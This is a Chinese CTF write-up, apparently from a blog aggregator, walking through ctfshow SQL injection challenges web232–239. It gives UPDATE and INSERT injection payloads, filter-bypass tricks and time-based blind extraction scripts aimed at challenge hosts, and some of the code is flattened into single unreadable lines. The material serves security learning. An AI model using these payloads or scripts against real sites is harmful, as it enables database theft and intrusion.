n = 0for i in range(1, 666):for j in str:params = {'username' : payload.format(sql,i,j),'password' : "{}".format(i)}res = requests.post(url = url, data = params)#print(res.text)if r"\u66f4\u65b0\u6210\u529f" in res.text:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web232

password的位置 加上了md5 没有影响 直接使用括号闭合

这里说一下 注意两点 api后面必须要加?page=1&limit=10 不加不好使 可能服务器需要判断这两个参数 如果不存在可能就不会向下执行语句了 第二点 /api/?和/api?是有区别的 使用/api? 无法执行payload不知道什么原因 估计是啥api是一个目录 你对目录传参肯定不行  而/api/?是给目录下的文件传参

查看当前数据库数据表

有两点注意 database() 后不用加分号,也就是句中句不需要分号 第二点 注意要使用group_concat 或者limit

password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=

查看flagaa表的列名

password=1'),username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flagaa') where 1=1#&username=

查看列值

password=1'),username=(select flagass from flagaa) where 1=1#&username=

盲注脚本和web231一样 改改即可 md5的位置 以及数据库名 表名字段名

web233

连md5都没了 和web231一样呢 

测试一波

正常情况下是可以的 也返回更新成功

password=0&username=user1 

而password=0',username=1 where 1=1#&username=

返回查询失败

说的没有过滤那是不可能的 反正肯定有限制条件不能这么做

于是使用盲注的方式是可以做的

import requests
url = "http://c7b6d0e5-03cf-467d-b332-a9941fe654ac.challenge.ctf.show/api/"
table_name = 'flag233333'
flag = 'flagass233'
result = ''
# 数据库名
payload = "database()" #ctfshow_web
# 爆表名
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"#flag233333
# 爆列名
#payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"#flagass233
# 爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1, 50):head = 32tail = 127while head < tail:# sleep(1)mid = (head + tail) >> 1  # 中间指针等于头尾指针相加的一半#print(mid)data = {'username': f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",'password': 0}try:r = requests.post(url, data, timeout=2.5)tail = midexcept:head = mid + 1  # sleep导致超时if head != 32:result += chr(head)print(result)else:break

web234

和上一题一样呀

说是没过滤 其实还是有过滤的 说是过滤单引号 既然单引号被过滤了 不能用单引号了 那就是用\来转义原语句中的单引号

原语句为

update ctfshow_user set pass = '{$password}' where username = '{$username}';

如果传参为password=1\&username=,username=(select database())#

语句则变为了

update ctfshow_user set pass = '1\' where username = ',username=(select database())#';

在#前加入分号和不加一个意思 上面已经说了 在语句的最后面 没有分号也是可以的

查看当前数据库数据表

password=4\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database());#

这里还要说一下 如果不适用group_concat 虽然语句被成功执行了 但是因为有多条输出 导致 语句执行成功 但是并未写入数据库中

查看flag23a表的列有哪些  单引号被过滤了 使用单引号则无法成功执行语句 使用双引号即可

password=4\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag23a");#

查看列flagass23s3的值

password=4\&username=,username=(select flagass23s3 from flag23a);#

最后本来想着查看一下banlist里面到底过滤了什么 字段是id和char id字段都查到 而char无论如何都查不到 可能禁止查看吧

真的大佬云集 就是一顿脚本 有时间学学

# @Author:Kradress
import requests
url = "http://9298293f-de8c-414f-beaf-5ef7041922f2.challenge.ctf.show/api/"
table_name = 'flag23a'
flag = 'flagass23s3'
result = ''
def strToHex(S : str):parts = []for s in S:parts.append(str(hex(ord(s)))[2:])return '0x' + ''.join(parts)
# 数据库名
# payload = "database()"
# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name={strToHex(table_name)}"
#爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1,50):head = 32tail = 127while head < tail:#sleep(1)  mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半print(mid)data = {'username' : f" where username =  0x63746673686f77 and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",'password' : "\\"}try:r = requests.post(url, data, timeout=2.5)tail = mid except:head = mid + 1 #sleep导致超时if head != 32:result += chr(head)print(result)else:break

web235-web236

mysql统计信息

无列名注入

web235

过滤了or和单引号 or的话 information就不能用了

mysql默认存储引擎innoDB携带的表:
mysql.innodb_table_stats
mysql.innodb_index_stats

两表均有database_name和table_name字段

可以使用innodb_table_stats  代替 information_schema

简单理解innodb_table_stats 是一个表使用时为mysql.innodb_table_stats 通过指定数据库名database_name 就能查询出该数据库中的表有哪些了

依旧使用上一题的方法 

password=4\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats);# 

banlist,ctfshow_user,flag23a1

现在是表名可以查询到 但是 这个innoDB引擎中是不存在的字段名的 

所以要使用无列名注入

这里其实使用join最好 今天学到现在脑子有点蒙 没学明白 有时间看看

我使用的是联合查询的方式 进行无列名注入

password=2\&username=,username=(select group_concat(`2`) from(select 1,2,3 union select * from flag23a1)a)#

web236

说是过滤flag 但其实过滤的是回显中的flag 而不是输入中的

使用上一题方法即可flaga为表名

password=2\&username=,username=(select group_concat(`2`) from(select 1,2,3 union select * from flaga)a)#

开始INSERT

web237

最基础的insert

以post形式进行的提交

原语句为

insert into ctfshow_user(username,pass) value('{$username}','{$password}');

构造payload

username=1',(select 3))#&password=

就变成了

insert into ctfshow_user(username,pass) value('1',(select 3));#','{$password}');

测试一下 发现可以

查看当前数据表有哪些

username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=

查看表内列名

username=1',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=

查值 

username=1',(select flagass23s3 from flag 标记))#&password= 

标记的位置不能写分号 语句中的语句无需写分号  语句的末尾写不写都可以

web238

过滤空格 本来想着使用%09 但是不行 不知道啥原因

括号代替空格

查表

username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#&password=

查字段

username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#&password=

查值

username=1',(select(flag)from(flagb)))#&password=

看看能不能看看banlist 还是只能查看id 不能查看char字段

web239

又有or 不能使用information了 那就使用自带的

username=1',database())#&password=

username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name='ctfshow_web')))#&password=

使用联合查询方式 无列名注入 但是弄半天过滤空格 导致这个括号巨难搭配 

就算搭配后 我看其他人说 还过滤了* 于是都说无能为力 就说之前都是列名为flag

username=1',(select`flag`from`flagbb`))#&password=

反引号在mysql代表的是列名表名数据库名 

借鉴

ctfshow web入门 sql注入(超详解)201-250_ctfshow web201-CSDN博客

CTFshow-WEB入门-SQL注入(下)_//sql db.ctfshow_user.find({username:'$username',p-CSDN博客

【ctfshow】web篇-SQL注入 wp_ctfshow web417-CSDN博客

CTFshow sql注入 上篇(web221-253)_web242-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/866273.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL—创建查看删除备份恢复数据库

创建数据库 创建数据库 LLF_DB01CREATE DATABASE LLF_DB01删除数据库DROP DATABASE LLF_DB01创建一个使用utf8字符集的数据库并带校对规则的数据库CREATE DATABASE hsp_db03 CHARACTER SET utf8 COLLATE utf8_bin 查看、删除数据库 显示所有的数据库SHOW DATABASES显示数据库…

AI PC(智能电脑)技术分析

一文看懂AI PC&#xff08;智能电脑&#xff09; 2024年&#xff0c;英特尔、英伟达等芯片巨头革新CPU技术&#xff0c;融入AI算力&#xff0c;为传统PC带来质的飞跃&#xff0c;引领智能计算新时代。 2024年&#xff0c;因此被叫作人工智能电脑&#xff08;AI PC&#xff09;…

2024 年第十四届 APMCM 亚太地区大学生数学建模竞赛B题超详细解题思路+数据预处理问题一代码分享

B题 洪水灾害的数据分析与预测 亚太中文赛事本次报名队伍约3000队&#xff0c;竞赛规模体量大致相当于2024年认证杯&#xff0c;1/3个妈杯&#xff0c;1/10个国赛。赛题难度大致相当于0.6个国赛&#xff0c;0.8个妈杯。该比例仅供大家参考。 本次竞赛赛题难度A:B:C3:1:4&…

C语言程序是怎么在计算机中运行起来的

hello.c #include <stdio.h>int main(){printf("hello,world\n");return 0; }这段 C语言程序的代码能被编程人员读懂&#xff0c;但是计算机系统读不懂。C语言、C、java 这些高级编程语言本质上还是人类用的语言而不是计算机用的语言。 为了能在计算机上运行这…

无忧易售功能:刊登页面文本翻译,无缝对接全球买家

每一个词语&#xff0c;每一句话&#xff0c;都承载着产品的灵魂和品牌的故事&#xff0c;无忧易售的刊登页面文本翻译服务&#xff0c;一键操作即可将你的产品介绍、详情或广告文案转化为多语言版本&#xff0c;轻松管理&#xff0c;高效发布。 一、Allegro、OZON、Coupang、…

第7章:Electron文件系统操作(2)

7.2 文件对话框 Electron 提供了 dialog 模块用于显示文件打开和保存对话框。 7.2.1 显示文件打开对话框 主进程代码&#xff1a; const { app, BrowserWindow, ipcMain, dialog } require(electron); const path require(path);let mainWindow;const createMainWindow …

盘点2024年最新鼠标连点器推荐

电脑鼠标连点器是一种可以帮助用户自动化点击操作的小工具&#xff0c;广泛应用于游戏、自动化办公和测试等领域。选择一款合适的鼠标连点器能够提高工作和娱乐的效率&#xff0c;避免重复点击带来的疲劳。小编将为您介绍电脑鼠标连点器的产品特点、推荐几款实用的鼠标连点器并…

一览 Anoma 上的有趣应用概念

撰文&#xff1a;Tia&#xff0c;Techub News 本文来源香港Web3媒体&#xff1a;Techub News Anoma 的目标是为应用提供通用的意图机器接口&#xff0c;这意味着使用 Anoma&#xff0c;开发人员可以根据意图和分布式意图机编写应用&#xff0c;而不是根据事务和特定状态机进行…

Java增加线程后kafka仍然消费很慢

文章目录 一、问题分析二、控制kafka消费速度属性三、案例描述 一、问题分析 Java增加线程通常是为了提高程序的并发处理能力&#xff0c;但如果Kafka仍然消费很慢&#xff0c;可能的原因有&#xff1a; 网络延迟较大&#xff1a;如果网络延迟较大&#xff0c;即使开启了多线…

新手拍短视频的些许建议

1、尽早行动&#xff0c;拒绝完美主义&#xff0c;有手机就能上车&#xff0c;一开始别花太多时间在打磨细节上。总是要准备好了后再做&#xff0c;就总比别人慢一步&#xff0c;可能永远也追不上了&#xff1b; 2、坚持发&#xff0c;度过难熬的启动期就行&#xff0c;不要走…

启明智显Model3A芯片方案7寸高清触摸屏ZX7D00CM21S:开箱、设置与实操全攻略指南

一、背景 本指南将详细介绍启明智显的Model3A芯片方案下的7寸高清触摸屏ZX7D00CM21S的开箱步骤、基础设置以及实操应用。无论您是电子爱好者、开发者还是工程师&#xff0c;这份指南都能助您快速上手并充分利用这款触摸屏的各项功能。 二、硬件介绍 ZX7D00CM21S 7寸高清触摸屏是…

谷歌正在试行人脸识别办公室安全系统

内容提要&#xff1a; &#x1f9ff;据美国消费者新闻与商业频道 CNBC 获悉&#xff0c;谷歌正在为其企业园区安全测试面部追踪技术。 &#x1f9ff;测试最初在华盛顿州柯克兰的一间办公室进行。 &#x1f9ff;一份内部文件称&#xff0c;谷歌的安全和弹性服务 (GSRS) 团队将…

【android】【adb shell】写一个shell脚本,监听进程pid变化

前言 当前业务&#xff0c;需要写一个脚本&#xff0c;不断监视com.android.phone 进程是否异常死掉 脚本 #!/system/bin/sh last_pid"" current_pid"" while(true){current_pidps -A | grep com.android.phone | awk {print $2}if [ -n "$current…

uni-appx,实现登录功能,弹窗功能。组件之间传值

这篇文章的内容使用组合式API实现的&#xff0c;只有弹窗部分有选择式API的写法介绍。如果想要看其他选择式API&#xff0c;还请下载官方的hello-uni-appx源码进行学习&#xff0c;查看。想要看组合式API的写法&#xff0c;请查看源码 hello-uvue。 hello-uni-appx源码 相比于…

Vue + Element UI + JSEncrypt实现简单登录页面

安装依赖 npm install jsencrypt --save局部引入 import JSEncrypt from jsencrypt/bin/jsencrypt;登录页面index.vue <template><div class"loginbody"><div class"logindata"><div class"logintext"><h2>Wel…

Uncaught (in promise) RangeError: Offset is outside the bounds of the DataView

问题 通常发生在Failed to load resource: the server responded with a status of 404 (Not Found) 后&#xff0c;资源读取错误导致的问题。 解决 Failed to load resource: the server responded with a status of 404 (Not Found)_unity webgl failed to load resource:…

LVS-DR群集

LVS-DR集群 LVS-DR(Linux Virtual Server DIrector Server)工作模式&#xff0c;是生产环境中最常用的一种工作模式。 LVS-DR工作原理 LVS-DR模式&#xff0c;Director Server作为群集的访问入口&#xff0c;不作为网关使用&#xff0c;节点DirectorServer与Real Server需要…

TensorRT-Int8量化详解

int8量化是利用int8乘法替换float32乘法实现性能加速的一种方法 对于常规模型有&#xff1a;y kx b&#xff0c;此时x、k、b都是float32, 对于kx的计算使用float32的乘法 对于int8模型有&#xff1a;y tofp32(toint8(k) * toint8(x)) b&#xff0c;其中int8 * int8结果为in…

Python列表创建使用心得详解

概要 列表是Python中最常用的数据结构之一,它用于存储有序的元素集合。Python提供了多种方式来创建和操作列表,使得列表在数据处理、存储和操作中非常灵活。本文将详细介绍Python列表创建的各种技巧,包括基础创建方法、列表推导式、内置函数和高级创建技巧,并包含具体的示…

初出茅庐的小李博客之C语言文件操作

C语言文件操作 在C语言中&#xff0c;文件操作主要是通过标准库函数来实现的。 今天有时间就来学习下一些常用的文件操作函数&#xff1a; C 语言提供了一个 FILE 数据结构&#xff0c;记录了操作一个文件所需要的信息。该结构定义在头文件stdio.h&#xff0c;所有文件操作函…